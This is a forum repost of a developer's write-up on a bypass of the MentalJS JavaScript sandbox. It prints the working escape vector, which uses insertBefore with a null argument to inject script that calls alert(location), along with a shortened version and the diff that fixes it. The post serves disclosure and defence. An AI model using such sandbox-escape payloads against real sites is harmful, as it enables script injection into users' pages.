Jump to content

Recommended Posts

Posted

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-

_=document

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'

t=_.createElement('b')
t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)
_.body.appendChild(x)

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent

x.insertBefore(s.firstChild, null)
_.body.appendChild(x)

It can actually be compressed to the following:

s=document.createElement('script');
s.insertBefore(document.createTextNode('alert(location)'),null);
document.body.appendChild(s);

The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.

@@ -5621,7 +5621,7 @@
}
};

- exports.version = "0.1.15";
+ exports.version = "0.1.16";
exports.parse = function(){
var js = MentalJS();
};
@@ -5873,9 +5873,7 @@
if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT') {
while(this.firstChild) {
this.removeChild(this.firstChild);
- }
- }
- if(this.tagName && this.tagName.toUpperCase() === 'SCRIPT') {
+ }
js = MentalJS();
code = document.createTextNode(js.parse({options:{eval:false},code:node.textContent}));
script = document.createElement('script');
@@ -5895,7 +5893,18 @@
'lastChild$': {configurable:true, get:function(){return this.lastChild;}},
'nextSibling$': {configurable:true, get:function(){return this.nextSibling;}},
'parentNode$': {configurable:true, get:function(){return this.parentNode;}},
- 'insertBefore$': {configurable:true, writable:false, value:function(){return this.insertBefore.apply(this, arguments);}},
+ 'insertBefore$': {configurable:true, writable:false, value:function(newElement, referenceElement){
+ var js, script;
+ if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT' && referenceElement === null) {
+ while(this.firstChild) {
+ this.removeChild(this.firstChild);
+ }
+ js = MentalJS();
+ code = document.createTextNode(js.parse({options:{eval:false},code:newElement.textContent}));
+ return this.insertBefore(code, null);
+ }
+ return this.insertBefore.apply(this, arguments);}
+ },
'cloneNode$': {configurable:true, writable:false, value:function(){return this.cloneNode.apply(this, arguments);}},
'removeChild$': {configurable:true, writable:false, value:function(){return this.removeChild.apply(this, arguments);}},
'removeAttribute$': {configurable:true, writable:false, value:function(name){ this.removeAttribute(name); }},
@@ -6175,7 +6184,8 @@
Object.defineProperties(HTMLStyleElement.prototype, {
'innerText$': {configurable:true, get:function(){return this.innerText;},set:function(innerText){ this.innerText = innerText; }},
'textContent$': {configurable:true, get:function(){return this.textContent;},set:function(textContent){this.textContent=textConent;}},
- 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }}
+ 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }},
+ 'innerHTML$': {configurable:true, get:function(){return this.innerHTML;},set:function(){ }}
});

Object.defineProperties(document, {

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...